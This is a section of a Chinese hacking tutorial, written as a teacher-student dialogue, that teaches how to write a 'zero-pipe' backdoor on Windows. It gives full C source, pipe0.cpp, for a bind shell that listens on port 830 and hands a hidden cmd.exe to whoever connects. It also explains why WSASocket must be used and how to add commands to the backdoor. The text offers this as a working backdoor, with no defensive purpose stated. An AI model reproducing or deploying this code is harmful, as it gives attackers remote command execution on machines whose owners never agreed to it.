3.5.1 更简单的办法——零管道后门
“我们讲了双管道后门、单管道后门,其实还可以有不用新建管道的后门——零管道后门!”老师说道。
“啊?不用管道?那进程间怎么通信呢?”
“不是不用管道,”老师纠正道,“而是不用新建管道。”
“哦?”大家疑惑不解。
“其实是这样的,我们用Socket句柄直接替代CMD进程的输入和输出句柄,就像这样:”
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
“哦?还可以这样啊!”大家一愣。
“对,这样替换后CMD的输入输出就可以直接和远程通信了,省去了进程间传输的所有东西。”
“啊?”
“我们来看看实现,”老师还提醒了一句,“但要注意,要用 WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0) 来建立Socket才能像这样替换。因为WSASocket()创建的Socket默认是非重叠套接字,这样才可以直接将cmd.exe的stdin、stdout、stderr转向到套接字。而socket()函数创建的Socket是重叠套接字,就不能这样。”
“组合起来,得到我们的零管道程序‘pipe0.cpp’,如下:”
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//监听本机830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
“哇!好简短啊!”小倩说道。
“我们测试一下,运行,打开了830端口,而且可以登陆交互,如图3-34。”
“呀!这么简单的后门,写起来多容易啊!”
“是啊!这么好的方法怎么不早说呢?我们就不用写双管道和单管道了。”大家说。
“NO,”老师纠正道,“这三种开端口后门的办法,各有优劣。零管道编写方法的确比较方便,但用户一输入命令就直接进入CMD进程执行了。有时我们想预先处理一下用户的命令,就需要用双管道或单管道的方法。”
“哦?”
“比如,我们可以在后门中加入列举进程的命令——pslist。CMD里是没有这些命令的,所以我们就需要先判断用户传过来的是pslist,然后在程序里面实现列举进程的功能,而不是传给CMD进程执行。”
“真是尺有所短,寸有所长啊!”同学们感叹道。
“说的好,就是这样的!”